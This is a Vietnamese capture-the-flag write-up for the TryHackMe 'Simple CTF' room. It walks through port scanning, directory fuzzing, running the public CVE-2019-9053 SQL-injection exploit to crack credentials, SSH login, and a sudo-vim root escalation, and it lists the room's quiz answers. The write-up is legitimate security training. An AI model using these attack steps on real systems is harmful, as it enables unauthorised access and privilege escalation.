Bài viết

TryHackMe - Simple CTF

Đơn giản nhưng không hề dễ

TryHackMe - Simple CTF

Giới thiệu

Đây được xem là một CTF dành cho người mới bắt đầu, vì vậy hãy cùng xem thử.

Room này khá đơn giản, chỉ là tôi gặp khó khăn một chút.

Tryhackme Room Link

Nmap

Hãy bắt đầu bằng việc quét với Nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.112.164
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.11.75.122
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Các cổng đang mở:

21/tcp 80/tcp 2222/tcp

Trinh sát

Hãy kiểm tra các thư mục và tệp.

1
2
3
4
5
6
7
8
9
10
ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -u "http://10.10.112.164/FUZZ" -fl 124
                        [Status: 200, Size: 11321, Words: 3503, Lines: 376, Duration: 43ms]
.htpasswd               [Status: 403, Size: 297, Words: 22, Lines: 12, Duration: 45ms]
.hta                    [Status: 403, Size: 292, Words: 22, Lines: 12, Duration: 45ms]
.htaccess               [Status: 403, Size: 297, Words: 22, Lines: 12, Duration: 3456ms]
index.html              [Status: 200, Size: 11321, Words: 3503, Lines: 376, Duration: 43ms]
robots.txt              [Status: 200, Size: 929, Words: 176, Lines: 33, Duration: 45ms]
server-status           [Status: 403, Size: 301, Words: 22, Lines: 12, Duration: 43ms]
simple                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 42ms]
:: Progress: [4614/4614] :: Job [1/1] :: 956 req/sec :: Duration: [0:00:08] :: Errors: 0 ::

Bây giờ, chúng ta có thể kiểm tra trang con simple, có vẻ đang chạy Simple CMS.

Vì room hướng dẫn chúng ta theo hướng SQL Injection, tôi đã tìm kiếm một số CVE và phát hiện CVE-2019-9053.

Hãy tải exploit từ Exploit-DB.

Bằng cách sử dụng exploit trên trang web CMS, chúng ta có thể brute-force thông tin đăng nhập.

1
python3 46635.py -u http://10.10.112.164 --crack -w /usr/share/wordlists/rockyou.txt

Và chúng ta nhận được thông tin đăng nhập:

1
2
Username: mitch
Password: <CENSORED>

User Flag

Chúng ta có thể đăng nhập bằng thông tin đăng nhập vừa tìm được.

1
2
3
ssh mitch@10.10.112.164
cat user.txt
<CENSORED>

Leo thang đặc quyền

Trước tiên, chúng ta tạo một shell bình thường, sau đó kiểm tra xem có thể chạy lệnh nào bằng sudo hay không.

1
2
3
4
python -c "import pty; pty.spawn('/bin/bash')"
sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

Chúng ta có thể chạy vim với quyền root.

1
sudo vim

Một cửa sổ mới sẽ xuất hiện. Chúng ta chỉ cần tạo một root shell rồi nhấn Enter.

Vim

Vim

Root Flag

Root Flag

Và chúng ta đã quên trả lời các câu hỏi:

Có bao nhiêu dịch vụ đang chạy trên các cổng nhỏ hơn 1000?

Câu trả lời:

1
2

Dịch vụ nào đang chạy trên cổng cao hơn?

Câu trả lời:

1
ssh

Bạn đang sử dụng CVE nào để tấn công ứng dụng?

Câu trả lời:

1
CVE-2019-9053

Ứng dụng dễ bị ảnh hưởng bởi loại lỗ hổng nào?

Câu trả lời:

1
sqli

Mật khẩu là gì?

Câu trả lời:

1
<CENSORED>

Bạn có thể đăng nhập ở đâu bằng thông tin vừa tìm được?

Câu trả lời:

1
ssh

User flag là gì?

Câu trả lời:

1
<CENSORED>

Có người dùng nào khác trong thư mục home không? Tên của họ là gì?

Câu trả lời:

1
sunbath

Bạn có thể lợi dụng công cụ nào để tạo shell có đặc quyền?

Câu trả lời:

1
vim

Root flag là gì?

Câu trả lời:

1
<CENSORED>
Bài viết này được cấp phép bởi tác giả theo giấy phép CC BY 4.0 .